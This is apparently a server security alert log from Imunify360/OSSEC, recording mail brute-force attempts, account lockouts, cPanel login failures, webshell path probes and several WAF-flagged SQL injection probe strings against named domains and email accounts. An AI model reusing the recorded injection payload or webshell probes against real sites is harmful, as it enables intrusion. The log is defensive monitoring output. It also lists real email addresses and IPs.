2026-01-31 13:23:42 dovecot_login authenticator failed for H=(nsg-corporate-222.230.187.122.airtel.in) [122.187.230.222]:58010: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:23:20 dovecot_login authenticator failed for H=(QP9uQC4ef) [158.94.208.175]:63346: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:23:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.201.126.243
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:page_id||MV:21'nvOpzp; AND 1=1 OR (<'\">iKO)),||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.201.126.243
country_id: 1269750
domain: www.cabe.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'nvOpzp; AND 1=1 OR (<'\">iKO)),||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:24:10 dovecot_login authenticator failed for H=(F6lQCJm) [158.94.208.175]:56845: 535 Incorrect authentication data (set_id=euratech)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.126.227.160
country_id: 6252001
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/masaakisb/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-01-31 13:25:00 dovecot_login authenticator failed for H=([65.20.211.96]) [65.20.211.96]:52801: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 13:24:08 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:50632: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:24:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.201.126.243
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:page_id||MV:23'nvOpzp; AND 1=1 OR (<'\">iKO)),||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-31 13:24:58 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:58358: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:24:11 dovecot_login authenticator failed for H=(StRzPjUm) [158.94.209.22]:56624: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 216.126.227.160
country_id: 6252001
domain: masaakisb.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/masaakisb/public_html/wp-includes/SimplePie/Content/Type/index.php||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.129.46
country_id: 1562822
description:
2026-01-31 13:24:17 dovecot_login authenticator failed for H=([125.212.129.46]) [125.212.129.46]:48446: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:25:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:25:05 dovecot_login authenticator failed for H=(HhK3ZsAr) [158.94.209.22]:65078: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.0.238.190
country_id: 3469034
description:
2026-01-31 13:25:10 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [177.0.238.190]:41137: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:25:23 dovecot_login authenticator failed for H=(KX9nhjRpe) [158.94.208.175]:61588: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-01-31 13:26:45 +0800] info [cpaneld] 34.27.42.6 - maalloys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maalloys (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:26:06 dovecot_login authenticator failed for H=(JcGvsGi) [165.154.235.118]:22279: 535 Incorrect authentication data (set_id=htayhtay)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:26:17 dovecot_login authenticator failed for H=(siJj9H) [158.94.209.22]:60014: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:26:35 dovecot_login authenticator failed for H=(CJGpEWmd) [158.94.209.22]:62914: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:26:12 dovecot_login authenticator failed for H=(EJzY88bYI) [158.94.208.175]:63758: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:26:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:27:11 dovecot_login authenticator failed for H=(lIdQhWL) [158.94.209.22]:52149: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:27:02 dovecot_login authenticator failed for H=(FEOZRxliIu) [158.94.208.175]:64449: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:27:04 dovecot_login authenticator failed for H=(HNdKpph) [165.154.235.118]:39669: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:27:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-01-31 13:28:56 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:36668: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:28:01 dovecot_login authenticator failed for H=(m7bCCD) [165.154.235.118]:60656: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:28:06 dovecot_login authenticator failed for H=(3kVy1Budz) [158.94.209.22]:60812: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 13:28:17 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:35084: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:28:16 dovecot_login authenticator failed for H=(3PQ5aVBc) [158.94.208.175]:51407: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 13:28:38 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:14164: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.86.54
country_id: 1269750
description:
2026-01-31 13:29:15 dovecot_login authenticator failed for H=([182.79.86.54]) [182.79.86.54]:33838: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/m.me/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.163.52.74
country_id: 1814991
description:
2026-01-31 13:29:25 dovecot_login authenticator failed for H=([123.163.52.74]) [123.163.52.74]:40845: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:29:03 dovecot_login authenticator failed for H=(hysh7XP8V) [158.94.208.175]:59280: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.216.172.182
country_id: 3469034
description:
2026-01-31 13:29:06 dovecot_login authenticator failed for H=([200.216.172.182]) [200.216.172.182]:36409: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-31 13:29:38 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:44320: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:29:09 dovecot_login authenticator failed for H=(1fru0gGG7) [165.154.235.118]:21657: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 13:29:49 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:54174: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:29:20 dovecot_login authenticator failed for H=(x6i15zbkb) [165.154.235.118]:25889: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 13:29:35 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:52614: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-01-31 13:29:09 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:29:18 dovecot_login authenticator failed for H=(q3Z5BvOW) [158.94.209.22]:55670: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.126.227.160
country_id: 6252001
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/inputs.php||SC:/home/masaakisb/public_html/wp-content/uploads/2024||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:30:12 dovecot_login authenticator failed for H=(W8HcCICuZ) [158.94.209.22]:64058: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:30:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:30:19 dovecot_login authenticator failed for H=(O55PF7AL8) [158.94.208.175]:54294: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:30:06 dovecot_login authenticator failed for H=(boBgPjx) [165.154.235.118]:42872: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.126.227.160
country_id: 6252001
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/edit-tags.php||SC:/home/masaakisb/public_html/wp-content/uploads/2024||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:31:02 dovecot_login authenticator failed for H=(Pn8w4KkOX) [165.154.235.118]:64994: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:31:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:31:48 dovecot_login authenticator failed for H=(VKSHDtoQ1) [165.154.235.118]:17020: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:31:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:31:06 dovecot_login authenticator failed for H=(31Ydi6TJU) [158.94.209.22]:55850: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:31:38 dovecot_login authenticator failed for H=(Ic8EeTTPRu) [158.94.208.175]:63289: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.213.132.102
country_id: 953987
description:
2026-01-31 13:32:11 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [102.213.132.102]:46599: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:32:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:32:04 dovecot_login authenticator failed for H=(yYSqoNlG) [158.94.208.175]:50614: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.235
country_id: 6252001
description:
Jan 31 13:32:05 sv3 pure-ftpd[4155303]: (?@198.235.24.235) [INFO] New connection from 198.235.24.235


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:32:10 dovecot_login authenticator failed for H=(IGEPfVsD5) [165.154.235.118]:25340: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-01-31 13:32:39 dovecot_login authenticator failed for H=([219.248.65.30]) [219.248.65.30]:55937: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.245.33.154
country_id: 1562822
description:
2026-01-31 13:32:03 dovecot_login authenticator failed for H=(nhavuivn.com) [210.245.33.154]:64216: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.254.91
country_id: 3865483
description:
2026-01-31 13:32:30 dovecot_login authenticator failed for H=(static.94.254.104.190.cps.com.ar) [190.104.254.91]:54356: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.209
country_id: 2542007
description:
2026-01-31 13:32:57 dovecot_login authenticator failed for H=([154.144.255.209]) [154.144.255.209]:47844: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.126.227.160
country_id: 6252001
domain: masaakisb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2025/wp-blog-header.php||SC:/home/masaakisb/public_html/wp-content/uploads/2025||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.124.221.2
country_id: 2750405
description:
2026-01-31 13:32:48 dovecot_login authenticator failed for H=ip-213-124-221-2.ip.prioritytelecom.net [213.124.221.2]:36640: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:32:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:32:18 dovecot_login authenticator failed for H=(9MTuA7A6) [158.94.209.22]:50732: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-01-31 13:32:35 dovecot_login authenticator failed for H=([189.59.210.1]) [186.215.245.175]:53956: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:33:08 dovecot_login authenticator failed for H=(Lu88jNFGbO) [165.154.235.118]:46131: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:33:28 dovecot_login authenticator failed for H=(jVuK3ADvVd) [158.94.208.175]:62076: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.102.50
country_id: 1269750
description:
2026-01-31 13:33:28 dovecot_login authenticator failed for H=(nsg-static-145.58.71.182.airtel.in) [27.123.102.50]:59864: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.87.203
country_id: 1814991
description:
2026-01-31 13:33:50 dovecot_login authenticator failed for H=([220.179.87.203]) [220.179.87.203]:39523: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:33:26 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-01-31 13:33:40 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:56719: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:33:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:33:12 dovecot_login authenticator failed for H=(zXANYpaAn) [158.94.209.22]:59171: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-01-31 13:33:16 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:43900: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:34:27 dovecot_login authenticator failed for H=(lJxYWhrU5) [165.154.235.118]:13010: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:34:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:34:04 dovecot_login authenticator failed for H=(4ru6BaCLw9) [165.154.235.118]:3589: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:34:06 dovecot_login authenticator failed for H=(FQ4TmtqQQ) [158.94.209.22]:50905: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:34:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:34:14 dovecot_login authenticator failed for H=(VWnmsg7) [158.94.208.175]:57688: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.185.255.227
country_id: 1814991
description:
2026-01-31 13:34:15 dovecot_login authenticator failed for H=(Mail.chinaqiaoyu.com) [222.185.255.227]:35644: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:35:05 dovecot_login authenticator failed for H=(vp2AGHm8) [158.94.208.175]:65077: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:35:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:35:18 dovecot_login authenticator failed for H=(MWlfxk) [158.94.209.22]:62059: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.8
country_id: 1733045
description:
2026-01-31 13:35:30 dovecot_login authenticator failed for H=([49.124.151.8]) [49.124.151.8]:36592: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-01-31 13:35:41 dovecot_login authenticator failed for H=([167.250.118.3]) [167.250.118.3]:49413: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:35:02 dovecot_login authenticator failed for H=(otRA7djBj) [165.154.235.118]:25714: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.47.138.157
country_id: 6252001
description:
2026-01-31 13:36:32 dovecot_login authenticator failed for H=(136-47-138-157.googlefiber.net) [136.47.138.157]:51912: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.27.194
country_id: 1210997
description:
2026-01-31 13:36:39 dovecot_login authenticator failed for H=([103.134.27.194]) [103.134.27.194]:49964: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:36:23 dovecot_login authenticator failed for H=(3PBQbKzO) [158.94.208.175]:53737: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:36:10 dovecot_login authenticator failed for H=(9L8WuyuM4o) [165.154.235.118]:50883: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:36:12 dovecot_login authenticator failed for H=(bZk31FLWQK) [158.94.209.22]:53834: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:37:17 dovecot_login authenticator failed for H=(XQYgt12Gf) [158.94.208.175]:63943: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-01-31 13:37:27 +0800] info [cpaneld] 34.27.42.6 - urban "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:37:07 dovecot_login authenticator failed for H=(9hCfH0u4) [165.154.235.118]:7283: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:37:18 dovecot_login authenticator failed for H=(ElJHiKL4c) [165.154.235.118]:10987: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:37:06 dovecot_login authenticator failed for H=(QKar3jP) [158.94.209.22]:61940: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:38:10 dovecot_login authenticator failed for H=(AwM5jSHA) [158.94.208.175]:52848: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:38:18 dovecot_login authenticator failed for H=(MC6PKnLPY) [158.94.209.22]:56408: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-01-31 13:38:02 dovecot_login authenticator failed for H=(nsg-corporate-122.248.185.122.airtel.in) [122.185.248.122]:58352: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
